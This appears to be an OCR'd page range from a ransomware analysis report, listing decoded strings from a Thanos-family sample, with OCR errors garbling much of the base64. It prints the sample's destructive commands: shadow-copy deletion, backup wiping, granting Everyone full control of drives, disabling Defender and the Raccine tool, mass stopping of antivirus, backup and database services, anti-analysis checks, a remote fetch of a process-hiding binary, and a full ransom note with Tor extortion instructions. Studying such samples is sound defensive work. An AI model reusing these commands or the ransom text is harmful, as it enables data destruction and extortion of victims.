cmVzaXplIHNoYWRvd3N@b3IhZ2UgL2Zvcj1k0iAvb249ZDogl21heHNpemUINDAXTUI=
cmVzaXpLIHNoYWRvd3N@b3IhZ2UgL2Zvcj1k0iAvb2497Dogl 2 TheHNpemU9dW5ib3VuZGVk
cmVzaXplIHNoYWRvd3N@b3IhZ2UgL2Zvcj110iAvb249ZTogl21heHNpemUINDAXTUI=
cmVzaXplIHNoYWRvd3N@b3IhZ2UgL2Zvcj110iAvb2497Togl21heHNpemU9dW5ib3VuzZGVk
cmVzaXp1IHNoYWRvd3N@b3IhZ2UgL2ZvcjTm0iAvb2497jogl21heHNpemUINDAXTUI=
cmVzaXplIHNoYWRvd3N@b3IhZ2UgL2ZvcjTm0iAvb2497jogl21heHNpemU9dW5ib3VuzZGVk
cmVzaXp1IHNoYWRvd3N@b3IhZ2UgL2ZvcjTn0iAvb2497z0gLl21heHNpemUINDAXTUI=
cmVzaXpLIHNoYWRvd3N@b3IhZ2UgL2Zvcj1n0iAvb2497z0gl2TheHNpemU9dW5ib3VuZGVk
cmVzaXplIHNoYWRvd3N@b3IhZ2UgL2Zvcj100iAvb249aDogl2TheHNpemUINDAXTUI=
cmVzaXplIHNoYWRvd3N@b3IhZ2UgL2Zvcj100iAvb249aDogl 2 TheHNpemU9diW5ib3VuZGVk
R2VeLVdtaU9iamVjdCBXaW4zM19TaGFkb3djb3B5IHwgRmIyRWF jaC1PYmplY3QgeyAkXOR1bGVOZSgpOyB9
L3MgL2YgL3EgYzpcKi5WSEQQYzpcKi5iYWMgYzpcKi5iYWsgYzpcKi53YmNhdCBjOlwglmIrZiBjOlxCYWNrdXAqLiogYzpcYmFj
L3MglL2YgL3EgZDpcKi5WSEQgZDpcKi5iYWMgZDpcKi5iYWsgZDpcKi53YmNhdCBkOlwglmIrZiBkO1xCYWNrdXAgLliogZDpcYmF ji
L3MgL2YgL3EgZTpcKi5WSEQQZTpcKi5iYWMgZTpcKi5iYWsgZTpcKi53YmNhdCB101wglmIrZiB1O1xCYWNrdXAqLiogZTpcYmF
L3MgL2YgL3EgZjpcKi5WSEQQZ jpcKi5iYWMgZ jpcKi5iYWsgZ jpcKi53YmNhdCBmOlwglmIrZiBmO1xCYWNrdXAgliogZjpcYmFji
L3MgL2YgL3EgZzpcKi5WSEQQZzpcKi5iYWMgZzpcKi5iYWsgZzpcKi53YmNhdCBnOlwglmIrZiBnO1xCYWNrdXAqLliogZzpcYmFj
L3MglL2YgL3EgaDpcKi5WSEQgaDpcKi5iYWMgaDpcKi5iYWsgaDpcKi53YmNhdCBoOlwglmIrZiBoOlxCYWNrdXAgLiogaDpcYmF ji
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IkM6KiIgL2dyYW50IEV2ZX]5b2510kYgL1QgL@MgL1E=
IkQ6KiIgL2dyYW50IEV2ZX]5b2510kYgL1QgL@MgL1E=
I106KiIgL2dyYW50IEV2ZX]5b2510kYgL1QgL@MgL1E=
1
LOGONISOFF
reloadl.lnk
VGhhbm9z
Debug_Log. txt
UserName=
_MachineName=
LIxt
.[ID-
]
"db","dbf", "accdb", "dbx", "mdb", "mdf", "epf", "ndf","1df","1cd", "sdf", "nsf", "fp7", "cat","log"
*.*
program files
windows
programdata
$
Setting write access permission:
- File Size:
bytes
aliNhY2xzLmV4ZQ==
IC9ncmFudCA=
0OkYgL1QgLOMgL1E=
- Error while checking for user write access permission:
- Error while reading if filesize is zero:
- Error while renaming to crypted extension:
dGFza2xpc3Q=
L3YgL2ZvIGNzdg==
L2YgL3BpZCA=

Select * from Win32_ComputerSystem
Manufacturer

microsoft corporation

Model

VIRTUAL

vmware

VirtualBox

SbhieD11l.d11l

wallpaper .bmp
U29mdHdhcmVcTW1jcm9zb2Z@XFdpbmRvd3NcQ3VycmVudFZ1cnNpb25cUG9saliNpZXNcU31zdGVt
RGlzYWIsZVRhc2tNZ3I=
win32_processor

processorID

Page 18 of 29



https://medium.com /walmartglobaltech/decoding-smartassembly-strings-a-haron-ransomware-case-study-9d0c5af7 080b

C
win32_logicaldisk.deviceid="
VolumeSerialNumber
STOR
Global\
Data are empty
data
Maximum data length is {0}
Key size is not valid
keySize
Key is null or empty
publicKeyXml
!
NDA5NiE8UTNBS2V5VmFsdWU+PE1vZHVsdXM+alWIvYm@yWUTHOEFnd2xXSVATYjhZbEThUVN3T1VgaUd6SUMXNEpMYm8rV3JkaVIz!
IPInfo: Error Parsing 'arp -a' results
arp
-a
IPInfo: Error Retrieving 'arp -a' Results
value
rgbKey
Invalid key size; it must be 128 or 256 bits.
rgbIV
Invalid IV size; it must be 8 bytes.
inputBuffer
inputOffset
inputCount
outputBuffer
outputOffset
expand 32-byte k
expand 16-byte k
- Error while reading from file:

- Error while partial writing to file:
aHROCcHM6LYIyYXcuZ210aHVidXN1cmNvbnR1bnQuY29tL2QzNWhhL1Byb2N1c3NIaWR1L21hc3R1ci9iaW5zL 1Byb2N1c3NIalRl
aHRACcHM6LY9yYXcuZ210aHVidXN1cmNvbnR1bonQuY29tL2QzNWhhL1Byb2N1c3NIaWR1L21hc3R1ci9iaW5zL1Byb2N1c3NIalWRl

.exe

57

Y29uaG9zdC51eGU=
bmVOMS51eGU=
QVJQLkVYRQ==
Y21kLmV4ZQ==
TaskManagerWindow
Administrador de tareas
#32770
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Task Manager

SysListView32

Processes

Procesos

kernel32.d11l

GetProcessId
GetCurrentProcessId
ntdll.dll
NtReadVirtualMemory
NtOpenProcess
NtQuerySystemInformation
Q3J1YXR1U2hvcnRjdXQ=

Error while creating ShortCut:
VINjcmlwdC5TaGVsbA==
aHROcCBhbmFseXplciBzdGFuZC1hbGYuZQ==
ImlkZGx1lcg==
IWZmZXR1Y2ggaHR@cCBzbmlmZmVy
ZmlyZXNoZWVw
SUVXYXRjaCBQcmImZXNzaW9uYWw=
ZHVtcGNhcA==

d21yZXNoYXJr
d21yZXNoYXJrIHBvcnRhYmx1
c31zaW50ZXJuYWxzIHR]jcHZpZXc=
TmV@d29yad1pbmVy
TmV@d29yaTRyYWZmaWNWaWV3
SFRUUE5 1dHdvemt ThmimZmVy
dGNwZHVtcA==
aW50ZXJjZXBOZXI=
SW50ZXJjZXBOZXItTkc=
b2xseWRiZw==

eDY0ZGIn

eDMyZGIn

2G5zcHk=

2G5zcHkteDg2

2GURZG90

allxzcHk=

2G90cGV1law==

2G90cGV1azY0

allRhNjQ=
UKRHIFBhY2t1ciBEZXR1Y3Rvcg==
QOZGIEV4cGxvemVy

UEVpRA==
cHlvdGVjdGlvb19pZA==
TG9yZFBF

cGUtc21ldmU=
TWVnYURTbXBlcg==
VW5Db25mdXN1ckV4
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VW5pdmVyc2FsX@ZpeGVy
Tm9GdXN1ckV4
QmxvY2tz
- Error creating filestream for block process or read-write:
chrome
opera
msedge
iexplore
firefox
explorer
wininit
winlogon
SearchApp
SearchIndexer
SearchUI
:Zone.Identifier
Drive Mounted: {0}
Error while mounting network drives:
ERROR=
ADMINS
print$
User
2%
Share Added: {0}
Error while enumerating shares:

Taskmgr

taskmgr

ProcessHacker

procexp

procexpbd

Set-MpPreference -EnableControlledFolderAccess Disabled
/c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin

Client IP:

http://icanhazip.comDate of encryption:

Client Unique Identifier Key:

------- === Your network has been infected! ===-------***DQ NOT DELETE THIS FILE UNTIL ALL YOUR DATA I
You are not able to decrypt it by yourself. But don't worry, we can help you to restore all your fili
The only way to restore your files is to buy our special software. Only we can give you this softwar
If you do not contact as in a 3 days we will post information about your breach on our public news w
You can get more information on our page, which is located in a Tor hidden network.How to get to our

1.Download Tor browser - https://www.torproject.org/2.Install Tor browser3.0pen link in Tor browser
* DO NOT MODIFY ENCRYPTED FILES!
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* * % QTHERWISE, YOU MAY LOSE ALL YOUR FILES FOREVER! * * *Key Identifier:

Number of files that were processed is:

PC Hardware ID:<!-- ####### YAY, I AM THE SOURCE EDITOR! #it#######-->

<p style="text-align: center;"><span style="background-color: #000000; color: #ff0000;"><strong>----
<p style="text-align: center;"><br /><br /><strong>***D0 NOT DELETE THIS FILE UNTIL ALL YOUR DATA HA
<p>We have also downloaded a lot of private data from your network. <br />If you do not contact as i
<p>2.Install Tor browser</p>

<p>3.0pen link in Tor browser -<a href="http://ft4zr2jzlqoyob7yg4fcpwyt37hox3ajajonfkdvbfrkjioyunmgn

<p>4.Use login:<span style="text-decoration: underline;"><strong>Chaddadgroup</strong></span> passwo
<p>5.Follow the instructions on this page <br /><br /></p>

<p style="text-align: center;"><br /><strong>* DO NOT TRY TO RECOVER FILES YOURSELF!*</strong><br />
<p>&nbsp;</p><p style="text-align: center;">Key Identifier:

</p>

<p style="text-align: center;">

Q!4Possible affected files:

notepad.exe

mshta.exe

Q

This program requires Microsoft .NET Framework v. 4.82 or superior to run properly
Information...

Builder_Log

LocalAccountTokenFilterPolicy

EnableLinkedConnections

powershell.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
vssadmin.exe

wmic.exe

wbadmin.exe

bcdedit.exe

diskshadow.exe

net.exe

Raccine

SOFTWARE

taskkill

/F /IM RaccineSettings.exe

reg

delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F

delete HKCU\Software\Raccine /F

schtasks

/DELETE /TN "Raccine Rules Updater" /F
GotAl1lDone
SYSTEM\CurrentControlSet\Control\FileSystem
LongPathsEnabled

netsh

advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes

/C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
/C choice /CY /N /DY /T 3 & Del
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sc.exe
taskkill.exe

del.exe

lsass.exe

svchst.exe

crcss.exe

chrome32.exe

firefox.exe

calc.exe

mysqld.exe

dllhst.exe

opera32.exe

memop . exe

spoolcv.exe

ctfmom.exe

SkypeApp.exe

start Dnscache /y

start FDResPub /y

start SSDPSRV /y

start upnphost /y

stop avpsus /y

stop McAfeeDLPAgentService /y
stop mfewc /y

stop BMR Boot Service /y

stop NetBackup BMR MTFTP Service /y
stop Defllatch /y

stop ccEvtMgr /y

stop ccSetMgr /y

stop SavRoam /y

stop RTVscan /y

stop QBFCService /y

stop QBIDPService /y

stop Intuit.QuickBooks.FCS /y
stop QBCFMonitorService /y
stop YooBackup /y

stop YooIT /y

stop zhudongfangyu /y

stop stc_raw_agent /y

stop VSNAPVSS /y

stop VeeamTransportSvc /y

stop VeeamDeploymentService /y
stop VeeamNFSSvc /y

stop veeam /y

stop PDVFSService /y

stop BackupExecVSSProvider /y
stop BackupExecAgentAccelerator /y
stop BackupExecAgentBrowser /y
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stop BackupExecDiveciMediaService /y
stop BackupExecJobEngine /y

stop BackupExecManagementService /y
stop BackupExecRPCService /y

stop AcrSch2Svc /y

stop AcronisAgent /y

stop CASAD2DWebSvc /y

stop CAARCUpdateSvc /y

stop sophos /y

stop “Acronis VSS Provider” /y

stop MsDtsServer /y

stop IISAdmin /y

stop MSExchangeES /y

stop “Sophos Agent” /y

stop EraserSvc11710 /y

stop “Enterprise (Client Service” /y
stop “SQL Backups /y

stop MsDtsServer100 /y

stop NetMsmgActivator /y

stop MSExchangelS /y

stop “Sophos AutoUpdate Service” /y
stop SamSs /y

stop ReportServer /y

stop “SQLsafe Backup Service” /y
stop MsDtsServer110 /y

stop POP3Svc /y

stop MSExchangeMGMT /y

stop “Sophos Clean Service” /y

stop SMTPSvc /y

stop ReportServer$SQL_2008 /y

stop “SQLsafe Filter Service” /y
stop msftesql$PROD /y

stop SstpSvc /y

stop MSExchangeMTA /y

stop “Sophos Device Control Service” /y
stop ReportServer$SYSTEM_BGC /y
stop “Symantec System Recovery” /y
stop MSOLAP$SQL_2008 /y

stop UI@Detect /y

stop MSExchangeSA /y

stop “Sophos File Scanner Service” /y
stop ReportServer$TPS /y

stop “Veeam Backup Catalog Data Service” /y
stop MSOLAP$SYSTEM_BGC /y

stop W3Svc /y

stop MSExchangeSRS /y

stop “Sophos Health Service” /y
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stop ReportServer$TPSAMA /y

stop “Zoolz 2 Service” /y

stop MSOLAP$TPS /y

stop “aphidmonitorservice” /y

stop msexchangeadtopology /y

stop “Sophos MCS Agent” /y

stop MSOLAP$TPSAMA /y

stop “intel(r) proset monitoring service” /y
stop msexchangeimap4 /y

stop “Sophos MCS Client” /y

stop ARSM /y

stop MSSQL$BKUPEXEC /y

stop unistoresvc_1afd@a /y

stop “Sophos Message Router” /y
stop MSSQL$ECWDB2 /y

stop audioendpointbuilder /y

stop “Sophos Safestore Service” /y
stop MSSQL$PRACTICEMGT /y

stop “Sophos System Protection Service” /y
stop BackupExecDeviceMediaService /y
stop MSSQL$PRACTTICEBGC /y

stop “Sophos Web Control Service” /y
stop MSSQL$PROD /y

stop MSSQL$PROFXENGAGEMENT /y

stop Antivirus /y

stop MSSQL$SBSMONITORING /

stop MSSQL$SBSMONITORING /y

stop AVP /y

stop MSSQL$SHAREPOINT /y

stop DCAgent /y

stop bedbg /y

stop MSSQL$SQL_2008 /y

stop EhttpSrv /y

stop MMS /y

stop MSSQL$SQLEXPRESS /y

stop ekrn /y

stop mozyprobackup /y

stop MSSQL$SYSTEM_BGC /y

stop EPSecurityService /y

stop MSSQL$VEEAMSQL20@8R2 /y

stop MSSQL$TPS /y

stop EPUpdateService /y

stop ntrtscan /y

stop MSSQL$TPSAMA /y

stop EsgShKernel /y

stop ESHASRV /y

stop SDRSVC /y
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stop MSSQL$VEEAMSQL2012 /y

stop FA_Scheduler /y

stop SQLAgent$VEEAMSQL20@8R2 /y
stop MSSQLFDLauncher $PROFXENGAGEMENT /y
stop KAVFS /y

stop SQLWriter /y

stop MSSQLFDLauncher $SBSMONITORING /y
stop KAVFSGT /y

stop VeeamBackupSvc /y

stop MSSQLFDLauncher$SHAREPOINT /y
stop kavfsslp /y

stop VeeamBrokerSvc /y

stop MSSQLFDLauncher$SQL_2008 /y
stop klnagent /y

stop VeeamCatalogSvc /y

stop MSSQLFDLauncher$SYSTEM_BGC /y
stop macmnsvc /y

stop VeeamCloudSvc /y

stop MSSQLFDLauncher$TPS /y

stop masvc /y

stop MSSQLFDLauncher$TPSAMA /y
stop MBAMService /y

stop VeeamDeploySvc /y

stop MSSQLSERVER /y

stop MBEndpointAgent /y

stop VeeamEnterpriseManagerSvc /y
stop MSSQLServerADHelper /y

stop McAfeeEngineService /y

stop VeeamHvIntegrationSvc /y

stop MSSQLServerADHelper100@ /y
stop McAfeeFramework /y

stop VeeamMountSvc /y

stop MSSQLServerOLAPService /y
stop McAfeeFrameworkMcAfeeFramework /y
stop MySQL57 /y

stop McShield /y

stop VeeamRESTSvc /y

stop MySQL8@ /y

stop McTaskManager /y

stop OracleClientCache80 /y

stop mfefire /y

stop wbengine /y

stop mfemms /y

stop RESvc /y

stop mfevtp /y

stop sms_site_sql_backup /y

stop SQLAgent$BKUPEXEC /y
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stop MSSQL$SOPHOS /y

stop SQLAgent$CITRIX_METAFRAME /y
stop sacsvr /y

stop SQLAgent$CXDB /y

stop SAVAdminService /y

stop SQLAgent$ECWDB2 /y

stop SAVService /y

stop SQLAgent$PRACTTICEBGC /y
stop SepMasterService /y

stop SQLAgent$PRACTTICEMGT /y
stop ShMonitor /y

stop SQLAgent$PROD /y

stop Smcinst /y

stop SQLAgent$PROFXENGAGEMENT /y
stop SmcService /y

stop SQLAgent$SBSMONITORING /y
stop SntpService /y

stop SQLAgent$SHAREPOINT /y
stop sophossps /y

stop SQLAgent$SQL_2008 /y
stop SQLAgent$SOPHOS /y

stop SQLAgent$SQLEXPRESS /y
stop svcGenericHost /y

stop SQLAgent$SYSTEM_BGC /y
stop swi_filter /y

stop SQLAgent$TPS /y

stop swi_service /y

stop SQLAgent$TPSAMA /y

stop swi_update /y

stop swi_update_64 /y

stop SQLAgent$VEEAMSQL2012 /y
stop TmCCSF /y

stop SQLBrowser /y

stop tmlisten /y

stop SQLSafeOLRService /y
stop TrueKey /y

stop SQLSERVERAGENT /y

stop TrueKeyScheduler /y

stop SQLTELEMETRY /y

stop TrueKeyServiceHelper /y
stop SQLTELEMETRY$ECWDB2 /y
stop WRSVC /y

stop mssql$vim_sqlexp /y

stop vapiendpoint /y

config Dnscache start= auto
config FDResPub start= auto
config SSDPSRV start= auto
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config upnphost start= auto
config SQLTELEMETRY start= disabled
config SQLTELEMETRY$ECWDB2 start= disabled
config SQLWriter start= disabled
config SstpSvc start= disabled
/IM mspub.exe /F

/IM mydesktopqos.exe /F

/IM mydesktopservice.exe /F
/IM mysqld.exe /F

/IM sgbcoreservice.exe /F
/IM firefoxconfig.exe /F
/IM agntsvc.exe /F

/IM thebat.exe /F

/IM steam.exe /F

/IM encsvc.exe /F

/IM excel.exe /F

/IM CNTAoSMgr.exe /F

/IM sqlwriter.exe /F

/IM tbirdconfig.exe /F

/IM dbeng50.exe /F

/IM thebat64.exe /F

/IM ocomm.exe /F

/IM infopath.exe /F

/IM mbamtray.exe /F

/IM zoolz.exe /F

IM thunderbird.exe /F

/IM dbsnmp.exe /F

/IM xfssvccon.exe /F

/IM Ntrtscan.exe /F

/IM isqlplussvc.exe /F

/IM onenote.exe /F

/IM PccNTMon.exe /F

/IM msaccess.exe /F

/IM outlook.exe /F

/IM tmlisten.exe /F

/IM msftesql.exe /F

/IM powerpnt.exe /F

/IM visio.exe /F

/IM winword.exe /F

/IM mysqld-nt.exe /F

/IM wordpad.exe /F

/IM mysqld-opt.exe /F

/IM ocautoupds.exe /F

/IM ocssd.exe /F

/IM oracle.exe /F

/IM sqlagent.exe /F

/IM sqlbrowser.exe /F
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/IM sqlservr.exe /F
/IM synctime.exe /F

Delete
resize
resize
resize
resize
resize
resize
resize
resize
resize
resize
resize
resize

Get-WmiObject
/s /f /q
/s /f /q
/s /f /q
/s /T /q
/s /f /q
/s /T /q

Shadows /all /quiet

shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage

/for=c:
/for=c:
/for=d:
/for=d:
/for=e:
/for=e:
/for=f:
/for=f:
/for=g:
/for=g:
/for=h:
/for=h:
Win32_Shadowcopy | ForEach-Object { $_Delete(); }

c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.
wbcat d:\*.bkf d:\Backup*.
wbcat e:\*.bkf e:\Backup*.
wbcat f:\*.bkf f:\Backup*.
wbcat g:\*.bkf g:\Backup*.
wbcat h:\*.bkf h:\Backup*.

c:\*.VHD c:\*.bac
d:\*.VHD d:\*.
e:\*.VHD e:\*.
fi\*.VHD f:\*.
g:\*.VHD g:\*.
h:\*.VHD h:\*.

bac
bac
bac
bac
bac

"C:*" /grant Everyone:F /T

"D:*" /grant Everyone:F /T

"7:*" /grant Everyone:F /T

Thanos

cacls.exe

/grant

:F /T /C /Q
tasklist

/v /fo

/f /pid

Q1]

Software\Microsoft\Windows\CurrentVersion\Policies\System

csv

DisableTaskMgr

d:\*.bak d:\*.
e:\*.bak e:\*.
f:\*.bak f:\*.
g:\*.bak g:\*.
h:\*.bak h:\*.

/C/Q
/C /Q
/C /Q

/on=c:
/on=c:
/on=d:
/on=d:
/on=e:
/on=e:
/on=f:
/on=f:
/on=qg:
/on=g:
/on=h:
/on=h:

/maxsize=401MB
/maxsize=unbounded
/maxsize=401MB
/maxsize=unbounded
/maxsize=401MB
/maxsize=unbounded
/maxsize=401MB
/maxsize=unbounded
/maxsize=401MB
/maxsize=unbounded
/maxsize=401MB
/maxsize=unbounded

*

*

*

*

*

*

c:\backup*.
d:\backup*.
e:\backup*.
f:\backup*.
g:\backup*.
h:\backup*.

*

*

*

*

*

*

c:\*.
d:\*.
e:\*.
fi\*.
g:\*.
h:\*.

set
set
set
set
set
set
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